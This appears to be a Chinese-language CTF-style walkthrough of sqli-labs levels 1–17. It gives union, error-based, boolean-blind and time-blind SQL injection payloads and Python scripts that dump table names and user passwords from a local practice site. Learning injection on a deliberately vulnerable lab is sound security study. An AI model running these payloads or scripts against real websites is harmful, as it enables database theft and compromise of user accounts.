less 0

环境搭建

phpstudyWWW目录下下载,下载地址:

1
git clone https://github.com/Audi-1/sqli-labs.git

修改目录sql-connections下的db-creds.inc文件,把密码改成自己的MySQL密码。

然后创建网站,PHP版本选择5.4.45。

1

进入网站,初始化数据库即可。

2

less 1

简单字符型

传递id=1,得到回显。id=1+1回显与id=1相同,推测为字符型注入。

判断回显数据数量,?id=1' order by 1/2/3/4 --+。得出回显数据的数量为3。

3

常规注入之爆表名。

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4

爆字段名。

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

5

查询password

?id=-1' union select 1,2,group_concat(password) from users--+

6

less 2

简单整形

传递id=1 and 1=1,得到回显,说明为整形。依次尝试id=1 order by 1/2/3/4,判断回显数据为3个。

常规注入爆表名,?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

之后操作与less 1基本相同,这里不多赘述。

less 3

需要闭合括号

尝试id=1",可知需要闭合括号。

7

传参id=1') order by 1/2/3/4--+,发现回显的数据数量为3。

完成闭合之后后续步骤同上,不多赘述。

less 4

双引号字符型

常规注入id=1abc,判断为字符型注入。尝试id=1",发现给参数前后加了双引号和括号。

8

构造参数id=1") [option]--+即可闭合。在[option]中插入需要执行的语句即可,步骤同上,这里也不再赘述。

less 5

布尔盲注

正常闭合返回都是You are in...........,首先想到就是布尔盲注。

注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import sys

url = "http://sqli-labs/Less-5/?id=1'" # 自行修改
name = ""

for i in range(1, 200):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payload = " and substr(([OPT_1]),%d,1) = '%s'--+" % (i, str_ascii)
str_get = requests.get(url=url + payload)
if "[OPT_1]" in str_get.text:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

[OPT_1]即为查询语句,自行修改为爆库名、爆表名、爆字段名、查询值的语句即可。[OPT_2]为回显内容,这题是You are in...........

直接以最后一步为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import sys

url = "http://sqli-labs/Less-5/?id=1'"
name = ""


for i in range(1, 200):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii)
str_get = requests.get(url=url + payload)
if "You are in..........." in str_get.text:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

运行结果为:

9

less 6

类似level 5

这题id需要用"闭合,其余步骤同level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import sys

url = "http://sqli-labs/Less-6/?id=1\""
name = ""


for i in range(1, 200):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii)
str_get = requests.get(url=url + payload)
if "You are in..........." in str_get.text:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

最后结果:

10

less 7

类似level 5

或者outfile方法

首先判断闭合类型。

11

id=1')) or 1=1 --+,回显正确。

12

之后步骤类似level 5,略改一下脚本即可。

这里直接展示最后一步的脚本和结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import sys

url = "http://sqli-labs/Less-7/?id=1'))"
name = ""


for i in range(1, 200):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii)
str_get = requests.get(url=url + payload)
if "You are in...." in str_get.text:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

13

提示的outfile方法我也没太理解,搞懂了再补充

less 8

依旧是布尔盲注

首先判断为单引号闭合。

还是布尔盲注,参考前文,这里展示最后一步的脚本与结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import sys

url = "http://sqli-labs/Less-8/?id=1'"
name = ""


for i in range(1, 100):
print(i)
for j in range(31, 128):
j = (128 + 31) - j
str_ascii = chr(j)
payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii)
str_get = requests.get(url=url + payload)
if "You are in...." in str_get.text:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)

14

less 9

时间盲注

首先判断为字符型注入。在判断是双引号还是单引号闭合时,id=1' --+id=1" --+的回显相同,尝试一下时间盲注。

发现id=1' and if(1,sleep(5),3)--+id=1" and if(1,sleep(5),3)的响应时间不同,闭合类型为单引号,使用时间盲注。

步骤同时间盲注,依次构造爆库名、爆表名、爆字段名和查询值的payload

直接展示最后一步查询的脚本和运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = "http://sqli-labs/Less-9/" # 自行修改
payload_str = """?id=1' and if( (ascii( substr( (select group_concat(password) from users) ,{n},1) ) ={r}) , sleep(5), 3) --+""" # 自行修改


# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length + 1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url=url + payload_str.format(n=l, r=n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str += chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;


#开始猜解
getStr(url, payload_str, 200)

15

less 10

类似less 10

判断闭合类型的时候为双引号,其余步骤同less 9

最后一步的脚本和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = "http://sqli-labs/Less-10/" # 自行修改
payload_str = """?id=1" and if( (ascii( substr( (select group_concat(password) from users) ,{n},1) ) ={r}) , sleep(5), 3) --+""" # 自行修改


# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length + 1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url=url + payload_str.format(n=l, r=n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str += chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;


#开始猜解
getStr(url, payload_str, 200)

16

less 11

post注入

随便输入密码和账号,用burpsuite抓包,发现用post传参:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Less-11/ HTTP/1.1
Host: sqli-labs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://sqli-labs
Connection: close
Referer: http://sqli-labs/Less-11/
Upgrade-Insecure-Requests: 1

uname=123456&passwd=123456&submit=Submit

首先判断闭合为单引号还是双引号,修改请求头如下,得到回显。可知这是个post单引号字符型注入。

1
2

uname=123456' --+&passwd=123456&submit=Submit

17

接下来的步骤就是依次构造爆表名、爆库名、爆字段名、查询的payload了。

18

less 12

类似level 11

传参uname=123456" union select 1,2--+&passwd=123456&submit=Submit,得到回显,发现还需要括号闭合。

19

uname=123456") union select 1,2--+&passwd=123456&submit=Submit,闭合,之后的操作和level 11相同。

20

less 13

报错注入

尝试uname=123456' union select 1,2--+&passwd=123456&submit=Submit,发现还需要用括号闭合。这里我们使用报错注入。报错注入参考报错注入

使用updatexml()报错注入。首先爆库名,uname=123456') or updatexml(1,concat(0x7e,(database()),0x7e),1)--+&passwd=123456&submit=Submit,得到回显。

21

之后的步骤就很简单了。

注意使用uname=123456') or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+&passwd=123456&submit=Submit时页面无法显示全部的字段。

所以我们用limit(x, 1)函数,uname=123456') or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=123456&submit=Submit来逐个查询所有的字段值。

22

less 14

依旧是报错注入

level 13基本一致,使用报错注入。但是闭合类型为双引号,其他和level 13都想同。

less 15

布尔盲注或者时间盲注

burpsuite抓包修改,uname=123456' or 1=1#&passwd=123456&submit=Submit,登陆成功,判断闭合类型为单引号。

虽然注入成功没有数据回显,但是登录成功返回flag.jpg,失败返回slap.jpg,这里可以用布尔盲注。

首先爆表名,脚本如下。

和之前的布尔盲注脚本区别在于这题使用的请求方式为POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://sqli-labs/Less-15/"
name = ""


for i in range(1, 100):
print(i)
for j in range(33, 126):
j = (128 + 31) - j
str_ascii = chr(j)
payload = "123456' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1) = '%s'#" % (i, str_ascii)
data = {"uname": payload, "passwd": "123456"}
str_get = requests.post(url=url, data=data)
if "flag" in str_get.text:
name += str_ascii
break

print(name)

23

后面的步骤就不赘述了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://sqli-labs/Less-15/"
name = ""


for i in range(1, 100):
print(i)
for j in range(33, 126):
j = (128 + 31) - j
str_ascii = chr(j)
payload = "123456' or substr((select group_concat(password) from users),%d,1) = '%s'#" % (i, str_ascii)
data = {"uname": payload, "passwd": "123456"}
str_get = requests.post(url=url, data=data)
if "flag" in str_get.text:
name += str_ascii
break

print(name)

24

这里用时间盲注也可以。

less 16

布尔盲注

老规矩,burp抓包判断闭合类型。为")闭合。

25

又是没有任何数据回显,直接上盲注脚本。还是之前的布尔盲注脚本,但是需要修改一下闭合类型。直接上最后一步的脚本,完成前面步骤的脚本照葫芦画瓢修改即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://sqli-labs/Less-16/"
name = ""


for i in range(1, 100):
print(i)
for j in range(33, 126):
j = (128 + 31) - j
str_ascii = chr(j)
payload = '123456") or substr((select group_concat(password) from users),%d,1) = "%s"#' % (i, str_ascii)
data = {"uname": payload, "passwd": "123456"}
str_get = requests.post(url=url, data=data)
if "flag" in str_get.text:
name += str_ascii
break

print(name)

最后的结果。

26

结束战斗

less 17

报错注入

根据题意,应该是注入点应该是在修改密码的UPDATE语句。先输入admin和任意密码试一试。

27

发现修改密码成功。接下来就可以在输入密码的地方报错注入。判断闭合为'

库名。

28

表名。

29

字段。

30

密码。发现爆不出来?

31

百度一下,You can't specify target table 'users' for update in FROM clause

在一个mysql语句中不能先select表中的值再update它。

再次面向百度刷题,看看怎么解决的。只需要在中间位置多嵌套一层子查询即可。

查出来了,但是好像因为本人太菜,注的太多密码全变成1了。

32